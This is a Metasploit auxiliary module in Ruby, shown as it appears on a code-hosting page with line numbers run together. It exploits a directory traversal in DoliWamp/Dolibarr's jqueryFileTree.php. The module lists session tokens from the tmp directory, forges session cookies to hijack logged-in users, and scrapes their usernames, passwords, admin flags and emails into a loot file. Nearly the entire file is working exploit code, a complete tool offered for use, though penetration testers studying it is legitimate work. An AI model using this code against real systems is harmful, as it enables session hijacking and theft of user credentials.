Path: blob/master/modules/auxiliary/gather/doliwamp_traversal_creds.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",14'Description' => %q{15This module will extract user credentials from DoliWamp - a WAMP16packaged installer distribution for Dolibarr ERP on Windows - versions173.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session18tokens in filenames in the 'tmp' directory. A directory traversal19vulnerability in 'jqueryFileTree.php' allows unauthenticated users20to retrieve session tokens by listing the contents of this directory.21Note: All tokens expire after 30 minutes of inactivity by default.22},23'License' => MSF_LICENSE,24'Author' => 'bcoles',25'References' => [26['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],27['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']28],29'DisclosureDate' => '2014-01-12',30'Notes' => {31'Reliability' => UNKNOWN_RELIABILITY,32'Stability' => UNKNOWN_STABILITY,33'SideEffects' => UNKNOWN_SIDE_EFFECTS34}35)36)37register_options(38[39OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),40OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])41]42)43end4445#46# Find session tokens47#48def get_session_tokens49tokens = nil50print_status("Finding session tokens...")51res = send_request_cgi({52'method' => 'POST',53'uri' => normalize_uri(54target_uri.path,55'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'56),57'cookie' => @cookie,58'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }59})60if !res61print_error("Connection failed")62elsif res.code == 40463print_error("Could not find 'jqueryFileTree.php'")64elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</65tokens = res.body.scan(/>sess_([a-z0-9]+)</)66num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }67print_good("Found #{num_tokens} session tokens")68else69print_error("Could not find any session tokens")70end71return tokens72end7374#75# Get user's credentials76#77def get_user_info(user_id)78vprint_status("Retrieving user's credentials")79res = send_request_cgi({80'method' => 'GET',81'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),82'cookie' => @cookie,83'vars_get' => Hash[{84'action' => 'edit',85'id' => "#{user_id}"86}.to_a.shuffle]87})88if !res89print_error("Connection failed")90elsif res.body =~ /User card/91record = [92res.body.scan(/name="login" value="([^"]+)"/).flatten.first,93res.body.scan(/name="password" value="([^"]+)"/).flatten.first,94res.body.scan(/name="superadmin" value="\d">(Yes|No)/).flatten.first,95res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first96]97unless record.empty?98print_good("Found credentials (#{record[0]}:#{record[1]})")99return record100end101else102print_warning("Could not retrieve user credentials")103end104end105106#107# Verify if session cookie is valid and return user's ID108#109def get_user_id110res = send_request_cgi({111'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),112'cookie' => @cookie113})114if !res115print_error("Connection failed")116elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/117user_id = "#{$1}"118vprint_good("Hijacked session for user with ID '#{user_id}'")119return user_id120else121vprint_status("Could not hijack session. Session is invalid.")122end123end124125#126# Construct cookie using token127#128def create_cookie(token)129res = send_request_cgi({130'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),131'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"132})133if !res134print_error("Connection failed")135elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/136return "DOLSESSID_#{$1}=#{token}"137else138print_warning("Could not create session cookie")139end140end141142#143# Show progress percentage144# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb145#146def progress(current, total)147done = (current.to_f / total.to_f) * 100148percent = "%3.2f%%" % done.to_f149vprint_status("Trying to hijack a session - " +150"%7s done (%d/%d tokens)" % [percent, current, total])151end152153#154# Check for session tokens in 'tmp'155#156def check157get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe158end159160def report_cred(opts)161service_data = {162address: opts[:ip],163port: opts[:port],164service_name: opts[:service_name],165protocol: 'tcp',166workspace_id: myworkspace_id167}168169credential_data = {170origin_type: :service,171module_fullname: fullname,172username: opts[:user],173private_data: opts[:password],174private_type: :password175}.merge(service_data)176177login_data = {178core: create_credential(credential_data),179status: Metasploit::Model::Login::Status::UNTRIED,180proof: opts[:proof]181}.merge(service_data)182183create_credential_login(login_data)184end185186def run187return unless tokens = get_session_tokens188189credentials = []190print_status("Trying to hijack a session...")191tokens.flatten.each_with_index do |token, index|192if @cookie = create_cookie(token) and user_id = get_user_id193credentials << get_user_info(user_id)194end195progress(index + 1, tokens.size)196end197198if credentials.empty?199print_warning("No credentials collected.")200return201end202cred_table = Rex::Text::Table.new(203'Header' => 'Dolibarr User Credentials',204'Indent' => 1,205'Columns' => ['Username', 'Password', 'Admin', 'E-mail']206)207credentials.each do |record|208report_cred(209ip: rhost,210port: rport,211service_name: (ssl ? 'https' : 'http'),212user: record[0],213password: record[1],214proof: @cookie215)216cred_table << [record[0], record[1], record[2], record[3]]217end218print_line219print_line("#{cred_table}")220loot_name = 'dolibarr.traversal.user.credentials'221loot_type = 'text/csv'222loot_filename = 'dolibarr_user_creds.csv'223loot_desc = 'Dolibarr User Credentials'224p = store_loot(225loot_name,226loot_type,227rhost,228cred_table.to_csv,229loot_filename,230loot_desc231)232print_status("Credentials saved in: #{p}")233end234end235236237